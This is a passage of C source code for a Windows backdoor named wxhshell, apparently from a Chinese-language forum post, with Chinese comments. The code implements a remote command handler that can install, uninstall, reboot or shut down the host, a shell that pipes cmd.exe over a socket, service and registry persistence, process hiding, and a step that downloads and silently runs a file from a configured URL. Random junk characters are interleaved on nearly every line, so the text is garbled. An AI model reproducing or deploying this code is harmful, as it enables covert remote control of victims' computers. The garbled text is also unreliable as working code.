  } %J(y2 }  
  else { f++MH]I;  
p)6!GdT  
    switch(cmd[0]) { R= ,jqW<  
  1P4cB w%  
  // 帮助 JjA3G`m=  
  case '?': { ^j]"!:h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mN^w?R41m  
    break; jz,Mm,Gi  
  } [.J&@96,b  
  // 安装 wpgO09  
  case 'i': { _gU:!:}  
    if(Install()) 8Na.H::cZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%MI9Ok  
    else V`P8oIOh]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KaVNRS  
    break; DJ_[{WAV  
    } 9 5bi W  
  // 卸载 b-? wJSf|  
  case 'r': { F.{{gpI  
    if(Uninstall()) $HgBzZ7A2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"Cx5#\7C  
    else I(^pIe-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mzw`{Oy>L  
    break; e&~vO| 3w%  
    } ;f;A"  
  // 显示 wxhshell 所在路径 J]&^A$  
  case 'p': { gu?e%]X3  
    char svExeFile[MAX_PATH]; y8*MNw  
    strcpy(svExeFile,"\n\r"); jfmHc(fX4  
      strcat(svExeFile,ExeFile); C,;T/9  
        send(wsh,svExeFile,strlen(svExeFile),0);  +kA>^  
    break; 1oKF-";u(  
    } (rKyX:Vsy  
  // 重启 {!RDb'Zp  
  case 'b': { J?6.yL;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7Qdf#DG  
    if(Boot(REBOOT)) U ?iw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %MG{KG=&o  
    else { E_q/*}]pE  
    closesocket(wsh); L hp  
    ExitThread(0); jej.!f:H  
    } ~[8n+p+&X  
    break; rR Kbs@1M  
    } %G0J]QY{(x  
  // 关机 8Z&M}Llk  
  case 'd': { ,LE15},  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vCvjb\S  
    if(Boot(SHUTDOWN)) ;X_bDiG$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m:}PVJ-"  
    else { LTZ8Eu  
    closesocket(wsh); cI Sugk~  
    ExitThread(0); o*MiKgQ&  
    } 2[!3!@.  
    break; u+/Uc:XK)  
    } {c  : 7:  
  // 获取shell 6a*?m{  
  case 's': { J\@|c.ws  
    CmdShell(wsh); [}Q_T.4)E  
    closesocket(wsh); $-D}y:  
    ExitThread(0); Yg /g9$'  
    break; (rmOv\hG9V  
  } }VU^ 8D  
  // 退出 C/$bgK[ev  
  case 'x': { s5bqS'%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3_bE12  
    CloseIt(wsh); ZLjEH7  
    break; X<%`  
    } K}t=Y  
  // 离开 agV z  
  case 'q': { RWg'W,v=!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /^]/ iTg  
    closesocket(wsh); Z";&1cK  
    WSACleanup(); ` 0$i^,}  
    exit(1); /0Jf/-}ovn  
    break; eA{ nwtN  
        } >&DC[)28  
  } pV8_i7\  
  } nND; lVQSO  
9^L{)t>  
  // 提示信息 lRk_<A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mEm=SpO[$o  
} t[e]AU[}  
  } $u~*V  
ZZ>"LH  
  return; `@q\R-`  
} ^B_SAZ&%%  
kYhV1I  
// shell模块句柄  )[S#:PP  
int CmdShell(SOCKET sock) r>e1IG  
{ /0swrt.  
STARTUPINFO si; ~6"=d  
ZeroMemory(&si,sizeof(si)); {q/;G!ON.S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $`A{-0=x\U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;A G&QdTMh  
PROCESS_INFORMATION ProcessInfo; +v2)'?BS  
char cmdline[]="cmd"; ^w!1QH0:/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o)bKs>` U  
  return 0; SK5_^4  
} 1> v(&;K  
<{+U- ^rzR  
// 自身启动模式 w%?Zb[!&  
int StartFromService(void) qfkd Q/fP  
{ y7t'I.E[+  
typedef struct 2 \<u;9  
{ BM~6P|&qD  
  DWORD ExitStatus; *@{  
  DWORD PebBaseAddress; zviTGhA  
  DWORD AffinityMask; /1v:eoF;  
  DWORD BasePriority; P BVF'~f@j  
  ULONG UniqueProcessId; hj=qWGRgI  
  ULONG InheritedFromUniqueProcessId; f\rE{%  
}   PROCESS_BASIC_INFORMATION; .L9g*q/}  
p,V%wGM  
PROCNTQSIP NtQueryInformationProcess; k|czQ"vaI  
=]r2;014  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =H`yzGt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cL<,]%SkE  
X }`o9]y  
  HANDLE             hProcess; xnC:?d  
  PROCESS_BASIC_INFORMATION pbi; @Di!~e6  
AdpJ4}|0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gg/ts]$  
  if(NULL == hInst ) return 0; <PFF\NE9  
N%,zME  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ _hA{$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8(Q|[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [_KV;qS%/  
S n<X   
  if (!NtQueryInformationProcess) return 0; m68>`  
a/v]E]=qI  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E/hT/BOPK  
  if(!hProcess) return 0; cij8'( "+!  
x=Aq5*A0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Kx?.g#>U;  
*;(^)Sj4Q  
  CloseHandle(hProcess); }= wor~  
!PA><F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0~z`>#W,  
if(hProcess==NULL) return 0; ]WzeJ"r {3  
^9`|QF  
HMODULE hMod; joDqv,iW8  
char procName[255]; `M*jrkM]x  
unsigned long cbNeeded; op@=0d??  
g${JdxR:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bSz@@s.  
@tJ4^<`P{  
  CloseHandle(hProcess); ')}itS8  
{+ Ibi{  
if(strstr(procName,"services")) return 1; // 以服务启动 0~EGrEt  
s3T7M:DM4  
  return 0; // 注册表启动 [K@(,/$  
} c|d,:u#  
c^O&A\+;  
// 主模块 @eZBwFe  
int StartWxhshell(LPSTR lpCmdLine) qX`Hi9ja  
{ }VRl L>HAC  
  SOCKET wsl; oB%_yy+  
BOOL val=TRUE; &qK:LHhj  
  int port=0; JQ;.+5 N<K  
  struct sockaddr_in door; F\hVunPVx  
6yBd9=3K  
  if(wscfg.ws_autoins) Install(); Z ^}[CQ&Am  
{/(.Bpld  
port=atoi(lpCmdLine); (t\U5-w  
IRdR3X56  
if(port<=0) port=wscfg.ws_port; 6O/c%1VHA3  
)Fp$ *]|  
  WSADATA data; L+VQtp &"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?E_;[(Mcr  
nbB*d@"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,  O/IY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); : 5['V#(o  
  door.sin_family = AF_INET; u;]xAr1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `a:3S@n(}  
  door.sin_port = htons(port); k$ T  
;X a N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AAs&P+;  
closesocket(wsl); ByuBZ!m  
return 1; ar\ K8mj  
} *7-rm  
' tHa5`  
  if(listen(wsl,2) == INVALID_SOCKET) {  VM:|I~gJ  
closesocket(wsl);  }JWkV1  
return 1; o$Ylqb#  
} ";7xE#jRk  
  Wxhshell(wsl); ;c)( 'k<  
  WSACleanup(); P;@j  
G@`ZDn  
return 0; )[cuYH>  
K3<A<&W_-  
} ;BqCjS%`N  
n((A:b  
// 以NT服务方式启动 6D[]Jf,9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >MKj~Ud  
{ zH Z;Y^{+  
DWORD   status = 0; n1b:Bv4"]#  
  DWORD   specificError = 0xfffffff; lz ::6}  
}3_b%{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -ycdg'v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <YtjE!2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 83I 5n&)  
  serviceStatus.dwWin32ExitCode     = 0; jI0gf&v8  
  serviceStatus.dwServiceSpecificExitCode = 0; qrp@   
  serviceStatus.dwCheckPoint       = 0; gC7Po  
  serviceStatus.dwWaitHint       = 0; ,~&HL7 v  
UgK c2~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lZ7 $DGe  
  if (hServiceStatusHandle==0) return; x{8h3.ZQ,  
0M roHFh9`  
status = GetLastError(); uoOUgNwGg  
  if (status!=NO_ERROR) $.kJBRgV*  
{ L-:@Om!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m2"e ]I  
    serviceStatus.dwCheckPoint       = 0; [>r0 (x&.  
    serviceStatus.dwWaitHint       = 0; :b(W&iBWhI  
    serviceStatus.dwWin32ExitCode     = status; 5-$D<}Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; QRK\74'uY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \lm]G7h  
    return; @tY]=pqn_  
  } 'fGKRd|)  
UOf\pG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7n.Oem  
  serviceStatus.dwCheckPoint       = 0;  .gmS1ju  
  serviceStatus.dwWaitHint       = 0; !`RMXUV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V" 8 G-dK  
} _<{<b  
kE .4 #  
// 处理NT服务事件,比如:启动、停止 @v ^j<B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }mK,Bi?bj  
{ ;*t#:U*  
switch(fdwControl) -y$6gCRY  
{ ls&H oJ7  
case SERVICE_CONTROL_STOP: {QylNC9  
  serviceStatus.dwWin32ExitCode = 0; mB"I(>q*M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t"YsIOT:O"  
  serviceStatus.dwCheckPoint   = 0; !OY}`a(z  
  serviceStatus.dwWaitHint     = 0; tE {M  
  { e2N K7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v\4<6Z:4  
  } *9$SFe|&n:  
  return; jq*`| m;Q  
case SERVICE_CONTROL_PAUSE: j}",+H v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `R: W5_n  
  break; zD<W`_z  
case SERVICE_CONTROL_CONTINUE: <{bxOr+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q2- lHn^L:  
  break; D?"P\b[/  
case SERVICE_CONTROL_INTERROGATE: DE/SIy?  
  break; isd-b]@:Lc  
}; TUC)S&bC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YfB)TK\W9/  
} 85H \v_[  
9QLG:(~;  
// 标准应用程序主函数 RU4X#gP4Vh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (@5`beEd  
{ (^y"'B  
OVDuF&0  
// 获取操作系统版本 oV0 45G  
OsIsNt=GetOsVer(); &=jPt%7#M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Iav2= 0Wi  
} v:YSG  
  // 从命令行安装 Zs=A<[  
  if(strpbrk(lpCmdLine,"iI")) Install(); NT.#U?9c  
&xN+a{&  
  // 下载执行文件 QJ4$) Fr(  
if(wscfg.ws_downexe) { `3i>e<m~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <MkvlLu((o  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~Ay)kv;  
} @}g3\xLiK  
}URdoTOvb  
if(!OsIsNt) { EG3,TuDH8  
// 如果时win9x,隐藏进程并且设置为注册表启动 <6Gs0\JB  
HideProc(); >h;]rMD!|  
StartWxhshell(lpCmdLine); :tU^  
} =FhP$r*  
else \8QOZjy  
  if(StartFromService()) ?l?l<`sTO  
  // 以服务方式启动 =3-?$  
  StartServiceCtrlDispatcher(DispatchTable); 5kTs7zJ^  
else Y06^M?}  
  // 普通方式启动 {@)ZXg  
  StartWxhshell(lpCmdLine); 4 O8ct,Y  
$$NWN?H~  
return 0; ~>u| 7 M$(  
}
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只看该作者 1 发表于: 2006-10-10
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